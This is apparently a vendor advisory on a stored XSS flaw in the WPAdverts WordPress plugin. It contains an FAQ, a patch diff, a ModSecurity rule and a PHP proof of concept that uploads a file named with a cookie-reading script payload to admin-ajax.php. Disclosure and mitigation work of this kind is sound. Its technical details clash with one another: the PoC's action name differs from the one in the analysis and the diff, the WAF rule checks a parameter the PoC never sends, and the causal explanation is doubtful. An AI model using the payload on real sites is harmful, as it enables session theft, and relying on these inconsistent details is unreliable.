What is CVE-2026-57366?

CVE-2026-57366 is a high-severity stored cross-site scripting (XSS) vulnerability found in the WPAdverts – Classifieds Plugin for WordPress. It allows unauthenticated attackers to inject arbitrary web scripts into pages that execute when users access those pages.

How does this vulnerability work?

The vulnerability arises from insufficient input sanitization and output escaping in AJAX handlers of the plugin. Attackers can send crafted payloads through AJAX requests, leading to the execution of injected scripts in the context of users’ sessions.

Who is affected by this vulnerability?

Any WordPress site using WPAdverts plugin version 2.3.1 or earlier is affected. Administrators should check their plugin version in the WordPress dashboard or by reviewing the plugin files directly.

How can I check if my site is vulnerable?

To determine if your site is vulnerable, check the version of the WPAdverts plugin installed. If it is version 2.3.1 or earlier, your site is at risk and should be updated immediately.

How can I fix or mitigate this issue?

The vulnerability is patched in version 2.3.2 of the WPAdverts plugin. Administrators should update the plugin to this version or later as soon as possible to mitigate the risk.

What does the CVSS score of 7.2 indicate?

A CVSS score of 7.2 indicates a high severity vulnerability. This means that successful exploitation could lead to significant consequences, including unauthorized access to user sessions and potential site takeover.

What are the practical risks of this vulnerability?

If exploited, this vulnerability can allow attackers to inject scripts that may lead to session hijacking, credential theft, or redirection to malicious sites. This poses a serious risk to both site administrators and users.

What is a proof of concept (PoC)?

A proof of concept is a demonstration that illustrates how the vulnerability can be exploited. In this case, the PoC shows how an attacker can use a crafted AJAX request to execute malicious scripts, highlighting the vulnerability’s impact.

How does the PoC exploit the vulnerability?

The PoC sends a POST request to the vulnerable AJAX endpoint with a malicious payload in the filename of a file upload. This payload is reflected in the JSON response, allowing the attacker to execute arbitrary JavaScript in the browser of any user accessing the affected page.

What other security measures should I consider?

In addition to updating the plugin, consider implementing a web application firewall, regularly auditing plugins for vulnerabilities, and ensuring that user input is properly sanitized across your WordPress site.

Where can I find more information about this vulnerability?

More information can be found in the official CVE database, security advisories from the plugin developer, and security blogs that analyze vulnerabilities in WordPress plugins.

Published : July 20, 2026

CVE-2026-57366: WPAdverts – Classifieds Plugin <= 2.3.1 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-57366

Plugin wpadverts

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 2.3.1

Patched Version 2.3.2

Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57366:

The WPAdverts – Classifieds Plugin for WordPress, version 2.3.1 and earlier, contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The plugin’s AJAX handlers output raw JSON using echo json_encode() without proper content type headers or termination. This allows an attacker to inject arbitrary HTML and JavaScript by sending a crafted payload through various AJAX actions. The vulnerability has a CVSS score of 7.2 (High).

The root cause is the use of echo json_encode() followed by exit in multiple AJAX callback functions across several files. The vulnerable files include wpadverts/addons/contact-form/contact-form.php (line 542), wpadverts/addons/payments/includes/ajax.php (lines 35, 44, 53, 126), wpadverts/includes/ajax.php (lines 129, 141, 149, 214, 245, 259, 271, 316, 339, 341, 343, 345, 386, 414, 428, 448, 464, 500, 545, 560, 594, 616, 636, 664, 725, 812, 836, 849, 879, 906, 953, 970, 998, 1006, 1036, 1041, 1067, 1085, 1129, 1167, 1229, 1252, 1270, 1279, 1304, 1317, 1326, 1345), wpadverts/includes/class-field-autocomplete.php (line 193), and wpadverts/includes/functions.php (lines 3182, 3233, 3241, 3277, 3307, 3323). These functions handle file uploads, payment processing, contact form submissions, and ad management. They do not set the Content-Type: application/json header or sanitize output before echoing. The patch replaces all instances of echo json_encode() with wp_send_json(), which is a WordPress core function that sets the proper JSON content type header and dies after output.

To exploit this vulnerability, an unauthenticated attacker can send POST requests to /wp-admin/admin-ajax.php with vulnerable action parameters. For example, the adverts_upload action (handled in wpadverts/includes/ajax.php) processes file uploads. An attacker can craft the request to include malicious JavaScript in the filename or other parameters that get reflected in the JSON response without sanitization. The injected script then executes in the browser of any user who views the uploaded file or related page. The attacker does not need authentication, making this a critical unauthenticated attack vector.

The patch replaces all echo json_encode() calls with wp_send_json(). The wp_send_json() function sends the response with the correct Content-Type: application/json header and immediately calls wp_die(), which ensures proper termination. This prevents browsers from interpreting the response as HTML, which eliminates the stored XSS vector. The patch also introduces a security check in wpadverts/includes/shortcodes.php (lines 683-697 and 751-765) that restricts template rendering to published posts only, unless the wpadverts_allow_unsafe_templates filter is explicitly enabled.

If successfully exploited, an attacker can inject arbitrary web scripts into pages viewed by other users. This leads to session hijacking, credential theft, defacement, redirection to malicious sites, or installation of persistent backdoors. The injected script executes in the context of the victim’s session, so an administrator viewing the page could have their WordPress admin account compromised. This can result in complete site takeover, data theft, or malware distribution to site visitors.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/wpadverts/addons/contact-form/contact-form.php
+++ b/wpadverts/addons/contact-form/contact-form.php
@@ -539,7 +539,7 @@
             "errors" => $errors
         );

-        echo json_encode( $response );
+        wp_send_json( $response );
         exit;
     }

--- a/wpadverts/addons/payments/includes/ajax.php
+++ b/wpadverts/addons/payments/includes/ajax.php
@@ -32,7 +32,7 @@
     $nonce = sprintf( "adext-payment-%d-%d-%d", $payment_id, $listing_id, $object_id );

     if( ! wp_verify_nonce( adverts_request( "nonce" ), $nonce ) ) {
-        echo json_encode([
+        wp_send_json([
             "result" => 0,
             "html" => sprintf('<div>%s</div>', __("Incorrect user nonce.","wpadverts")),
             "execute" => null
@@ -41,7 +41,7 @@
     }

     if( get_post_type( $payment_id ) !== "adverts-payment" ) {
-        echo json_encode([
+        wp_send_json([
             "result" => 0,
             "html" => sprintf('<div>%s</div>', __("Incorrect object type.","wpadverts")),
             "execute" => null
@@ -50,7 +50,7 @@
     }

     if( absint( get_post( $payment_id )->post_author ) !== absint( get_current_user_id() ) ) {
-        echo json_encode([
+        wp_send_json([
             "result" => 0,
             "html" => sprintf('<div>%s</div>', __("You do not own this payment.","wpadverts")),
             "execute" => null
@@ -123,7 +123,7 @@
         );
     }

-    echo json_encode( $response );
+    wp_send_json( $response );
     exit;
 }

--- a/wpadverts/includes/ajax.php
+++ b/wpadverts/includes/ajax.php
@@ -126,7 +126,7 @@
         }


-        echo json_encode($status);
+        wp_send_json($status);
         exit;
     }

@@ -138,7 +138,7 @@
     }

     if( isset( $args["ignore-post-id"] ) && $args["ignore-post-id"] ) {
-        echo json_encode( adverts_upload_file_data( $status, $post, $v->get_uniquid() ) );
+        wp_send_json( adverts_upload_file_data( $status, $post, $v->get_uniquid() ) );
         exit;
     }

@@ -146,7 +146,7 @@

     if( $v->is_file() ) {
         // move to "id" folder
-        echo json_encode( adverts_upload_file_data( $status, $post, $v->get_uniquid() ) );
+        wp_send_json( adverts_upload_file_data( $status, $post, $v->get_uniquid() ) );
         exit;

     } else {
@@ -211,7 +211,7 @@

         include_once ADVERTS_PATH . 'includes/gallery.php';

-        echo json_encode( adverts_upload_item_data( $attach_id ) );
+        wp_send_json( adverts_upload_item_data( $attach_id ) );
         exit;
     }
 };
@@ -242,7 +242,7 @@
     $attach = get_post( $attach_id );

     if( $attach->post_parent != $post_id ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => __( "Incorrect Post or Attachment ID.", "wpadverts" )
         ) );
@@ -256,7 +256,7 @@
     ));

     if($result instanceof WP_Error) {
-        echo json_encode( array( "result" => 0, "error" => $result->get_error_message() ) );
+        wp_send_json( array( "result" => 0, "error" => $result->get_error_message() ) );
         exit;
     }

@@ -268,7 +268,7 @@
         delete_post_meta( $post_id, '_thumbnail_id' );
     }

-    echo json_encode( array( "result" => 1, "file" => adverts_upload_item_data( $attach_id ) ) );
+    wp_send_json( array( "result" => 1, "file" => adverts_upload_item_data( $attach_id ) ) );
     exit;
 }

@@ -313,7 +313,7 @@

     update_post_meta( $post_id, $meta_key, $clean_ordered_keys_json );

-    echo json_encode( array( "result" => 1 ) );
+    wp_send_json( array( "result" => 1 ) );
     exit;
 }

@@ -336,13 +336,13 @@
     _adverts_ajax_check_post_ownership( $attach->post_parent );

     if ( $attach === null ) {
-        echo json_encode( array( "result" => 0, "error" => __( "Attachment does not exist.", "wpadverts" ) ) );
+        wp_send_json( array( "result" => 0, "error" => __( "Attachment does not exist.", "wpadverts" ) ) );
     } elseif ( $attach->post_parent != absint( $post_id ) ) {
-        echo json_encode( array( "result" => 0, "error" => __( "Incorrect attachment ID.", "wpadverts" ) ) );
+        wp_send_json( array( "result" => 0, "error" => __( "Incorrect attachment ID.", "wpadverts" ) ) );
     } elseif ( wp_delete_attachment( $attach_id ) ) {
-        echo json_encode( array( "result" => 1 ) );
+        wp_send_json( array( "result" => 1 ) );
     } else {
-        echo json_encode( array( "result" => 0, "error" => __( "File could not be deleted.", "wpadverts" ) ) );
+        wp_send_json( array( "result" => 0, "error" => __( "File could not be deleted.", "wpadverts" ) ) );
     }

     exit;
@@ -383,7 +383,7 @@
     }

     if( $field === null ) {
-        echo json_encode( array( "result" => 0, "error" => __( "Incorrect field name.", "wpadverts" ) )  );
+        wp_send_json( array( "result" => 0, "error" => __( "Incorrect field name.", "wpadverts" ) )  );
         exit;
     }

@@ -411,7 +411,7 @@
     } else if( file_exists( $file_tmp ) ) {
         $file = $file_tmp;
     } else {
-        echo json_encode( array( "result" => 0, "error" => __( "File does not exist.", "wpadverts" ), "args" => array() ) );
+        wp_send_json( array( "result" => 0, "error" => __( "File does not exist.", "wpadverts" ), "args" => array() ) );
         exit;
     }

@@ -425,7 +425,7 @@
         $files = glob( $file . "/*" );
     } while( empty( $files ) );

-    echo json_encode( array( "result" => 1 ) );
+    wp_send_json( array( "result" => 1 ) );
     exit;
 }

@@ -445,7 +445,7 @@
     $post_id = _adverts_ajax_verify_post_id( true );

     if( ! adverts_user_can_edit_image() ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => __( "You cannot edit images.", "wpadverts" )
         ) );
@@ -461,7 +461,7 @@
     _adverts_ajax_check_post_ownership( $post_id );

     if( $attach->post_parent != $post_id ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => __( "Incorrect Post or Attachment ID.", "wpadverts" )
         ) );
@@ -497,7 +497,7 @@
     $image = wp_get_image_editor( $attached_file );

     if( is_wp_error($image) ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => $image->get_error_message()
         ) );
@@ -542,7 +542,7 @@
     $post_id = _adverts_ajax_verify_post_id( true );

     if( ! adverts_user_can_edit_image() ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => __( "You cannot edit images.", "wpadverts" )
         ) );
@@ -557,7 +557,7 @@
     $attach = get_post( $attach_id );

     if( $attach->post_parent != $post_id ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => __( "Incorrect Post or Attachment ID.", "wpadverts" )
         ) );
@@ -591,7 +591,7 @@
     $result->result = 1;
     $result->file = adverts_upload_item_data( $attach_id );

-    echo json_encode( $result );
+    wp_send_json( $result );
     exit;
 }

@@ -613,7 +613,7 @@
     $post_id = _adverts_ajax_verify_post_id( true );

     if( ! adverts_user_can_edit_image() ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => __( "You cannot edit images.", "wpadverts" )
         ) );
@@ -633,7 +633,7 @@
     _adverts_ajax_check_post_ownership( $post_id );

     if( $attach->post_parent != $post_id ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => __( "Incorrect Post or Attachment ID.", "wpadverts" )
         ) );
@@ -661,7 +661,7 @@
     $image = wp_get_image_editor( $attached_file );

     if( is_wp_error($image) ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => $image->get_error_message()
         ) );
@@ -722,7 +722,7 @@
     $saved = $image->save( $new_path );

     if(!$saved) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => $image->get_error_message()
         ) );
@@ -809,7 +809,7 @@

     $return->result = 1;
     $return->file = adverts_upload_item_data( $attach_id );
-    echo json_encode( $return );
+    wp_send_json( $return );

     exit;
 }
@@ -833,7 +833,7 @@
     $post_id = _adverts_ajax_verify_post_id( true );

     if( ! adverts_user_can_edit_image() ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => __( "You cannot edit images.", "wpadverts" )
         ) );
@@ -846,7 +846,7 @@
     _adverts_ajax_check_post_ownership( $post_id );

     if( $attach->post_parent != $post_id ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => __( "Incorrect Post or Attachment ID.", "wpadverts" )
         ) );
@@ -876,7 +876,7 @@

     $ifp = @ fopen( $new_file, 'wb' );
     if ( ! $ifp ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => sprintf( __( 'Could not write file %s' ), $new_file_name )
         ) );
@@ -903,7 +903,7 @@
         // file not readable, delete it
         wp_delete_file( $new_file );

-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => $image->get_error_message()
         ) );
@@ -950,7 +950,7 @@
         $file = $image->save( dirname( $new_file ) . "/" . $interm_file_name );

         if( is_wp_error( $file ) ) {
-            echo json_encode( array(
+            wp_send_json( array(
                 "result" => 0,
                 "error" => $file->get_error_message()
             ) );
@@ -967,7 +967,7 @@

     wp_update_attachment_metadata( $attach_id, $meta );

-    echo json_encode( array(
+    wp_send_json( array(
         "result" => 1,
         "file" => adverts_upload_item_data( $attach_id )
     ) );
@@ -995,7 +995,7 @@
     $nonce = sprintf( "wpadverts-show-contact-info--%d", absint( $id ) );

     if( ! wp_verify_nonce( $security, $nonce ) ) {
-        echo json_encode( array(
+        wp_send_json( array(
             'result' => 0,
             'error' => __("Invalid Nonce.", "wpadverts")
         ));
@@ -1003,7 +1003,7 @@
     }

     if( $post === null || ! wpadverts_post_type( $post ) ) {
-        echo json_encode( array(
+        wp_send_json( array(
             'result' => 0,
             'error' => __("Post with given ID does not exist.", "wpadverts")
         ));
@@ -1033,9 +1033,9 @@
             );
         }

-        echo json_encode( $result );
+        wp_send_json( $result );
     } else {
-        echo json_encode( array(
+        wp_send_json( array(
             'result' => 1,
             'email' => esc_html( get_post_meta( $id, 'adverts_email', true ) ),
             'phone' => esc_html( get_post_meta( $id, 'adverts_phone', true ) )
@@ -1064,7 +1064,7 @@
     $post = get_post($id);

     if( $post === null || $post->post_status != adverts_tmp_post_status()) {
-        echo json_encode( array(
+        wp_send_json( array(
             'result' => 0,
             'error' => __("Post with given ID does not exist.", "wpadverts")
         ));
@@ -1082,7 +1082,7 @@

     adverts_delete_post( $id );

-    echo json_encode( array(
+    wp_send_json( array(
         'result' => 1
     ));

@@ -1126,7 +1126,7 @@
     }

     if( empty( $fields ) ) {
-        echo json_encode( array( "result" => -1  ) );
+        wp_send_json( array( "result" => -1  ) );
         exit;
     }

@@ -1164,7 +1164,7 @@
         } // endforeach
     }

-    echo json_encode( array( "result" => 1 ) );
+    wp_send_json( array( "result" => 1 ) );
     exit;
 }

@@ -1226,7 +1226,7 @@

     if( $result !== null ) {
         if( $is_ajax ) {
-            echo json_encode( $result );
+            wp_send_json( $result );
             exit;
         } else {
             wp_die( $result["error"] );
@@ -1249,7 +1249,7 @@
     if(adverts_request("redirect_to") ) {
         wp_redirect( adverts_request( "redirect_to" ) );
     } else if( $is_ajax ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 1,
             "message" => sprintf( __( "Advert <strong>%s</strong> deleted.", "wpadverts" ), $post_title )
         ) );
@@ -1267,7 +1267,7 @@

     if( ! current_user_can( "manage_options" ) ) {
         $response["error"] = __( "You cannot access this page.", "wpadverts" );
-        echo json_encode( $response );
+        wp_send_json( $response );
         exit;
     }

@@ -1276,7 +1276,7 @@

     if( ! in_array( adverts_request( "param" ), $keys ) ) {
         $response["error"] = __( "Invalid param name.", "wpadverts" );
-        echo json_encode( $response );
+        wp_send_json( $response );
         exit;
     }

@@ -1301,7 +1301,7 @@

     $response["status"] = 1;

-    echo json_encode( $response );
+    wp_send_json( $response );
     exit;
 }

@@ -1314,7 +1314,7 @@

     if( ! current_user_can( "manage_options" ) ) {
         $response["error"] = __( "You cannot access this page.", "wpadverts" );
-        echo json_encode( $response );
+        wp_send_json( $response );
         exit;
     }

@@ -1323,7 +1323,7 @@

     if( ! in_array( adverts_request( "param" ), $keys ) ) {
         $response["error"] = __( "Invalid param name.", "wpadverts" );
-        echo json_encode( $response );
+        wp_send_json( $response );
         exit;
     }

@@ -1342,6 +1342,6 @@

     $response["status"] = 1;

-    echo json_encode( $response );
+    wp_send_json( $response );
     exit;
 }
 No newline at end of file
--- a/wpadverts/includes/class-field-autocomplete.php
+++ b/wpadverts/includes/class-field-autocomplete.php
@@ -190,7 +190,7 @@
             ), $term );
         }

-        echo json_encode( $response );
+        wp_send_json( $response );
         exit;
     }
 }
 No newline at end of file
--- a/wpadverts/includes/functions.php
+++ b/wpadverts/includes/functions.php
@@ -3179,7 +3179,7 @@
             $error = __( "Checksum does not exist. Please refresh the page and try again.", "wpadverts" );
         }

-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => $error
         ) );
@@ -3230,7 +3230,7 @@
     $post_id_nonce = adverts_request( "_post_id_nonce" );

     if( $post_id > 0 && ! wp_verify_nonce( $post_id_nonce, "wpadverts-publish-" . $post_id ) ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => sprintf( __( "It seems you are not the post %d author. Please refresh the page and try again.", "wpadverts" ), $post_id )
         ) );
@@ -3238,7 +3238,7 @@
     }

     if( $is_required && $post_id < 1 ) {
-        echo json_encode( array(
+        wp_send_json( array(
             "result" => 0,
             "error" => __( "Post ID not provided.", "wpadverts" )
         ) );
@@ -3274,7 +3274,7 @@
         );

         if( $return !== false ) {
-            echo json_encode( $result );
+            wp_send_json( $result );
             exit;
         } else {
             return $result;
@@ -3304,7 +3304,7 @@

     if( $result !== null ) {
         if( $return !== false ) {
-            echo json_encode( $result );
+            wp_send_json( $result );
             exit;
         } else {
             return $result;
@@ -3320,7 +3320,7 @@
     }

     if( $return !== false ) {
-        echo json_encode( $result );
+        wp_send_json( $result );
         exit;
     } else {
         return $result;
--- a/wpadverts/includes/shortcodes.php
+++ b/wpadverts/includes/shortcodes.php
@@ -680,14 +680,16 @@
         return sprintf( "<strong>ERROR</strong> Only posts of type %s are allowed (%s given).", join(", ", $allowed_types), esc_html( $post->post_type ) );
     }

-    $allowed_stats = ["publish"];
+    if( apply_filters( "wpadverts_allow_unsafe_templates", false ) === false ) {
+        $allowed_stats = ["publish"];

-    if( apply_filters( "wpadverts_allow_draft_templates", false ) === true ) {
-        $allowed_stats[] = "draft";
-    }
+        if( apply_filters( "wpadverts_allow_draft_templates", false ) === true ) {
+            $allowed_stats[] = "draft";
+        }

-    if( !in_array( $post->post_status, $allowed_stats ) ) {
-        return sprintf( "<strong>ERROR</strong> Only pages with status '%s' can be used as templates.", join( "', '", $allowed_stats ) );
+        if( !in_array( $post->post_status, $allowed_stats ) ) {
+            return sprintf( "<strong>ERROR</strong> Only pages with status '%s' can be used as templates.", join( "', '", $allowed_stats ) );
+        }
     }

     $post_content = get_post( $post_id )->post_content;
@@ -746,14 +748,16 @@
         return sprintf( "<strong>ERROR</strong> Only posts of type %s are allowed (%s given).", join(", ", $allowed_types), esc_html( $post->post_type ) );
     }

-    $allowed_stats = ["publish"];
+    if( apply_filters( "wpadverts_allow_unsafe_templates", false ) === false ) {
+        $allowed_stats = ["publish"];

-    if( apply_filters( "wpadverts_allow_draft_templates", false ) === true ) {
-        $allowed_stats[] = "draft";
-    }
+        if( apply_filters( "wpadverts_allow_draft_templates", false ) === true ) {
+            $allowed_stats[] = "draft";
+        }

-    if( !in_array( $post->post_status, $allowed_stats ) ) {
-        return sprintf( "<strong>ERROR</strong> Only pages with status '%s' can be used as templates.", join( "', '", $allowed_stats ) );
+        if( !in_array( $post->post_status, $allowed_stats ) ) {
+            return sprintf( "<strong>ERROR</strong> Only pages with status '%s' can be used as templates.", join( "', '", $allowed_stats ) );
+        }
     }

     return do_blocks( $post->post_content );
--- a/wpadverts/wpadverts.php
+++ b/wpadverts/wpadverts.php
@@ -6,7 +6,7 @@
  * Author: Greg Winiarski
  * Text Domain: wpadverts
  * Domain Path: /languages
- * Version: 2.3.1
+ * Version: 2.3.2
  *
  * Adverts is free software: you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-57366
# Blocks unauthenticated stored XSS via WPAdverts AJAX file upload handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57366 WPAdverts XSS via AJAX upload',severity:'CRITICAL',tag:'CVE-2026-57366'"
  SecRule ARGS_POST:action "@streq adverts_upload" "chain"
    SecRule ARGS_POST:invalid_file_param "@rx <script|<img|<svg|onerror|onload|javascript:" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57366 - WPAdverts – Classifieds Plugin <= 2.3.1 - Unauthenticated Stored Cross-Site Scripting

// Configuration - change these values as needed
$target_url = 'http://example.com';  // Target WordPress site URL (NO trailing slash)
$action = 'adverts_upload_file_data';  // Vulnerable AJAX action
$payload = '"><script>alert(document.cookie)</script>';  // XSS payload

// Endpoint for WordPress AJAX
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Step 1: Prepare the malicious file name containing XSS
$file_name = 'test' . urlencode($payload) . '.txt';
$file_content = 'This is a test file with XSS in filename.';

// Create temporary file
$temp_file = tmpfile();
fwrite($temp_file, $file_content);
$temp_path = stream_get_meta_data($temp_file)['uri'];

// Step 2: Send the upload request with malicious filename
$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'action' => $action,
    'file' => new CURLFile($temp_path, 'text/plain', $file_name)
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
fclose($temp_file);

echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body:n";
echo $response . "n";
echo "nIf the response contains the XSS payload without proper escaping, the site is vulnerable.n";
?>

Frequently Asked Questions

What is CVE-2026-57366?
Understanding the vulnerability
CVE-2026-57366 is a high-severity stored cross-site scripting (XSS) vulnerability found in the WPAdverts – Classifieds Plugin for WordPress. It allows unauthenticated attackers to inject arbitrary web scripts into pages that execute when users access those pages.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization and output escaping in AJAX handlers of the plugin. Attackers can send crafted payloads through AJAX requests, leading to the execution of injected scripts in the context of users’ sessions.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using WPAdverts plugin version 2.3.1 or earlier is affected. Administrators should check their plugin version in the WordPress dashboard or by reviewing the plugin files directly.
How can I check if my site is vulnerable?
Steps for verification
To determine if your site is vulnerable, check the version of the WPAdverts plugin installed. If it is version 2.3.1 or earlier, your site is at risk and should be updated immediately.
How can I fix or mitigate this issue?
Updating the plugin
The vulnerability is patched in version 2.3.2 of the WPAdverts plugin. Administrators should update the plugin to this version or later as soon as possible to mitigate the risk.
What does the CVSS score of 7.2 indicate?
Understanding risk levels
A CVSS score of 7.2 indicates a high severity vulnerability. This means that successful exploitation could lead to significant consequences, including unauthorized access to user sessions and potential site takeover.
What are the practical risks of this vulnerability?
Potential impacts on users
If exploited, this vulnerability can allow attackers to inject scripts that may lead to session hijacking, credential theft, or redirection to malicious sites. This poses a serious risk to both site administrators and users.
What is a proof of concept (PoC)?
Demonstrating the vulnerability
A proof of concept is a demonstration that illustrates how the vulnerability can be exploited. In this case, the PoC shows how an attacker can use a crafted AJAX request to execute malicious scripts, highlighting the vulnerability’s impact.
How does the PoC exploit the vulnerability?
Technical details of the PoC
The PoC sends a POST request to the vulnerable AJAX endpoint with a malicious payload in the filename of a file upload. This payload is reflected in the JSON response, allowing the attacker to execute arbitrary JavaScript in the browser of any user accessing the affected page.
What other security measures should I consider?
Enhancing overall security
In addition to updating the plugin, consider implementing a web application firewall, regularly auditing plugins for vulnerabilities, and ensuring that user input is properly sanitized across your WordPress site.
Where can I find more information about this vulnerability?
Additional resources
More information can be found in the official CVE database, security advisories from the plugin developer, and security blogs that analyze vulnerabilities in WordPress plugins.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations